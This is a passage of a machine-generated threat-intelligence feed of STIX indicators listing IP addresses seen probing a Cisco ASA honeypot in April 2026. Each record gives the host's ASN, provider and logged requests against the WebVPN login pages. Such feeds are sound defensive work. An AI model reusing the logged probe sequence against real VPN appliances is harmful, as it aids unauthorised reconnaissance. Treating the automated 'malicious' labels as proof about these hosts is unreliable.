            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--953dee30-7062-4522-b8e0-c31cae331e4f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.202.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:20:10.000Z",
      "valid_until": "2026-05-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 8,
          "first_seen": "2026-04-13T12:16:51.991Z",
          "last_seen": "2026-04-13T12:17:14.737Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--c10fdd59-4342-4912-835b-2788fd6ae5a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.228.49.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:20:10.000Z",
      "valid_until": "2026-05-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-13T11:52:16.577Z",
          "last_seen": "2026-04-14T02:10:14.274Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 395092 (Shock Hosting LLC)",
      "id": "indicator--b6839107-6f22-4c2e-97b9-6857f76c2b36",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '2.56.139.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:20:10.000Z",
      "valid_until": "2026-05-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T11:42:07.537Z",
          "last_seen": "2026-04-13T11:42:19.694Z",
          "country": "United States",
          "country_code": "US",
          "asn": 395092,
          "as_org": "Shock Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--c65ca35e-c107-4cd3-a1e5-c3c37453ef9c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:20:10.000Z",
      "valid_until": "2026-05-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-13T12:03:10.204Z",
          "last_seen": "2026-04-13T12:03:18.720Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--41fa0cb4-2a43-48f2-849b-3831a3e3586a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:20:10.000Z",
      "valid_until": "2026-05-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-13T11:22:57.387Z",
          "last_seen": "2026-04-24T22:09:55.312Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d6d4d8b4-ad6b-4dc4-9c74-e14d27f1f296",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:20:10.000Z",
      "valid_until": "2026-05-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 19,
          "first_seen": "2026-04-13T11:37:26.508Z",
          "last_seen": "2026-04-23T09:43:36.796Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2883997a-ca30-4810-a748-c01e52b96e5b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:20:10.000Z",
      "valid_until": "2026-05-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-13T11:37:06.948Z",
          "last_seen": "2026-04-29T03:15:00.041Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2ce97f31-14f5-4f07-a1ec-4b54db31f366",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:20:10.000Z",
      "valid_until": "2026-05-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-13T11:52:33.197Z",
          "last_seen": "2026-04-30T04:40:59.485Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--b3a47519-2f69-4b6b-b8ae-c50579bec9f6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:20:10.000Z",
      "valid_until": "2026-05-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T12:11:47.938Z",
          "last_seen": "2026-04-30T02:47:49.916Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--34154a1e-af27-4a3d-8b60-cc33b3978bb2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '5.57.210.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:20:10.000Z",
      "valid_until": "2026-05-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-13T11:32:33.709Z",
          "last_seen": "2026-04-15T04:25:30.507Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--a70bb797-3313-4b02-9d74-de5d1466f3d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '79.127.222.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:20:10.000Z",
      "valid_until": "2026-05-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 33,
          "first_seen": "2026-04-13T11:45:12.746Z",
          "last_seen": "2026-04-29T23:47:49.215Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--227ebc71-a4ff-42fe-a6c4-a06918dfedc8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '136.0.102.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T13:20:10.000Z",
      "valid_until": "2026-05-15T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-13T12:47:34.480Z",
          "last_seen": "2026-04-15T01:15:19.789Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--8940c9a8-a31b-4431-b7f1-623633bb4fb9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '141.133.4.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T13:20:10.000Z",
      "valid_until": "2026-05-15T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T12:51:39.462Z",
          "last_seen": "2026-04-14T02:04:58.322Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--f371bd08-47db-4a00-98ca-6320695ef92b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T13:20:10.000Z",
      "valid_until": "2026-05-15T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T12:38:30.023Z",
          "last_seen": "2026-04-29T17:25:18.261Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--7ee9d98e-abcb-4d19-bc49-965fd6ea3692",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.171.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T13:20:10.000Z",
      "valid_until": "2026-05-15T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-13T12:55:56.804Z",
          "last_seen": "2026-04-29T21:24:28.618Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1add1a5e-944c-4ad0-b78b-a6b4d483749d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.253.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T13:20:10.000Z",
      "valid_until": "2026-05-15T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-13T12:21:00.023Z",
          "last_seen": "2026-04-27T15:07:52.401Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--cd2317a9-f58f-4a48-8a07-6d2aade98822",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T13:20:10.000Z",
      "valid_until": "2026-05-15T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-13T13:16:34.113Z",
          "last_seen": "2026-04-27T10:34:48.219Z",
          "country": "United States",
          "country_code": "US",
          "asn": 207990,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--5c846cb4-b999-4ef9-998e-eeb4badac071",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.230.241.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T13:20:10.000Z",
      "valid_until": "2026-05-15T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 23,
          "first_seen": "2026-04-13T12:22:49.860Z",
          "last_seen": "2026-04-15T07:30:17.930Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4b910e5d-5042-40db-9691-5581c61dc636",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T13:20:10.000Z",
      "valid_until": "2026-05-15T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-13T13:16:27.647Z",
          "last_seen": "2026-04-26T01:24:05.848Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8fdec4fe-95d4-4526-93db-5b2d21917d96",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
